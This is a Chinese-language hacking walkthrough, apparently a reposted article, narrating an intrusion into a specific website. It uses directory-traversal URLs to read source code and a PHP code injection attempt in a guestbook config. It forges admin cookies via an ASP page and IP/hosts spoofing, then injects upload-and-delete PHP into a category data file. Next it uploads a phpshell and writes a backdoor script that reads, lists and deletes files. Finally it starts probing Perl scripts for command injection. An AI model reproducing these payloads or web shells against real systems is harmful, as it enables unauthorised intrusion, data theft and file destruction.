失败,但并不是不能跳转,只是没有权限而已。那好,我们再试着看看能不能查看有权限的文档
http://www.target.org/~shuaishuai/show.php?filename=../../../../../../../home/shuaishuai/public_html/post.php
呵呵,成功了,看到了post.php这个文档的源代码,太棒了,我们就把这个做为突破口。但这个只能查看shuaishuai这个用户的文档,不能查看到其他文档,而且只是能查看文档似乎还不够,我们希望得到一个shell,这看起来似乎比较困难。还是另看看其他,其实shuaishuai的主页上东西蛮多的,更有一个留言板,是X-pad.这个留言板能够让用户注册后留言,每个注册用户在/User目录下面都有一个配置文档,保留了用户的一些信息,在查看注册文档源代码后我们发现他并没有过滤完全,至少有一个变量能够使我们能够插入我们的代码。于是我们申请了一个用户在HOMEPAGE这个字段插入了我们的代码,使我们的用户配置文档看起来像这样:
<?
$User_Psw = "1234";
$User_QQ = "";
$User_EMail = "";
$User_Homepage = "http:///";copy($a,$b);unlink($a);#";
$User_Avatar = "Styles/Avatars/blank.gif";
$User_BBSMode = "0";
?>
上面这个php文档使我们能够上传文档到指定目录和删除有权限删除的文档.但在执行过程中却发现不行,为什么?原来没有看清楚
$User_Homepage = "http:///";copy($a,$b);unlink($a);#";
这一行中我们提交的"(引号)前面被自动插入了/,使得他不是php语句中的双引号("),而是变量中的(") 。即$User_Homepage变量值为 “http:///";copy($a,$b);unlink($a);#” 整个字符串,并没有起到预期的作用。看来 magic_quotes_gpc = on,再告失败。
没有气馁,我们继续耐心地查找其他能够利用的东西,马上我们又发现了http://www.target.org/~shuaishuai/down_sys/ 这么个下载系统.经过查看目录和查看下载系统的源文档(因为我们有权限查看这个目录里的文档),在down_sys/data/user/目录下面发现了管理员的用户文档,里
面包含了密码,但令人头痛的是管理员密码是经过md5加密的。此时我们没有轻易放弃这个经加密的密码,我们即刻查看管理员验证的代码,在/down_sys/admin/global.php这个文档中发现了其验证方式包含cookie验证,相关代码如下:
......
if (isset($password)) $password=md5($password);
if (empty($username)) $username=$HTTP_COOKIE_VARS['bymid'];
if (empty($password)) $password=$HTTP_COOKIE_VARS['bympwd'];
if(!checkpass($username,$password)) {
admintitle();
adminlogin();
exit;
}
......
完万能够进行一次cookie欺骗。我们这里使用的是一种比较烦琐的方法:先断开网络,将我们的IP改为target.org的IP,然后在%systemroot%/system32/drivers/etc/hosts文档里http://www.target.org这个域名指向target.org的ip,做这一步是为了我们在断开网络的时候能够成功的将www.target.org解析成他的ip.最后在我们的iis里面自已建一个虚拟目录/~shuaishuai/down_sys/admin/写一个asp文档,把cookie配置为管理员的用户名和加过密的密码,asp文档内容如下:
<%
response.cookies("bymid")="adminuser"
response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a"
%>
然后访问这个asp文档
http://www.target.org/~shuaishuai/down_sys/admin/cookie.asp
留着这个窗口,把IP改回为原来的192.168.0.1,接着用这个窗口请求
http://www.target.org/~shuaishuai/down_sys/admin/admin.php
管理界面出来了,通过了验证。接着我们来上传文档...可下面的事让我们气恼了好久,竟然没有上传文档的功能,Fiant,是个没研发完全的半成品,完全失望了吗?不,我们依然有信心,接着查看一下其他的文档,看看能不能对配置文档动点手脚,我们找到了一个class.php,里面保存的是下载系统的一些软件分类信息,内容看起来像这样:
5|安全工具|1028372222
8|红客工具|1034038173
7|其他软件|1034202097
....
我们试着往里面写东西,于是在管理页面新添加一个主分类,分类的名称为"<?copy ($a,$b);unlink($a);?>",提交过后class.php变成了这样
5|安全工具|1028372222
8|红客工具|1034038173
7|其他软件|1034202097
9|<?copy($a,$b);unlink($a);?>|1054035604
这个php文档能够让我们上传文档到有权限目录和删除有权限删除的文档。于是我们在本地写了一个表单,上传一个phpshell上去,然后访问
http://www.target.org/~shuaishuai/down_sys/data/sh.php
GOOD,返回了phpshell的界面...一阵高兴过后,我们才发现这个phpshell什么命令都不能执行,原来网站PHP打开了safe_mode功能,限制我们执行命令。但我们已有了很大的突破了,能够向服务器上传文档了。接下来我们利用PHP丰富的内置函数写了很多小脚本上传测试,很不幸,系统利用 disable_functions 禁止了大部分的文档系统函数、目录函数...好在并没有赶尽杀绝,最后我们写了下面一个php程式来查看一些有权限查看的目录和文档:
<?
$c = $HTTP_GET_VARS["c"];
$f = $HTTP_GET_VARS["f"];
if($c=="file") {
$file=readfile($f);
echo $file;
}
if($c=="dir") {
$h=opendir($f);
while($file=readdir($h)) {
echo "$file/n";
}
}
if($c=="del") {
unlink($f);
}
?>
在做了很多尝试过后,我们发现在PHP上不能获得新的突破,好在我们能够利用上面那个php程式来查看www.target.org/cgi-bin/club/scripts/ 目录中程式脚本的完整的代码,于是我们决定改向回到起点、查看CGI文档,由于没有权限向可执行CGI程式的目录里写文档, 新写一个CGI程式来执行命令是不现实的,所以决定利用现有的.pl程式来插入命令,目标自然是放在perl的open函数上,于是我们开始查找哪些程式用了open函数,但找了好多.pl文档,都没有发现,但却看到有好多readfile()函数,记得perl里面是没有这个函数的,但这里却用了很多readfile(),为什么呢?这肯定是他们自已定义的一个函数,我们看到每一个.pl文档前几行都有一个use Club;原来这里有个模块,于是查看Club.pm,很快便发现了open函数.
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




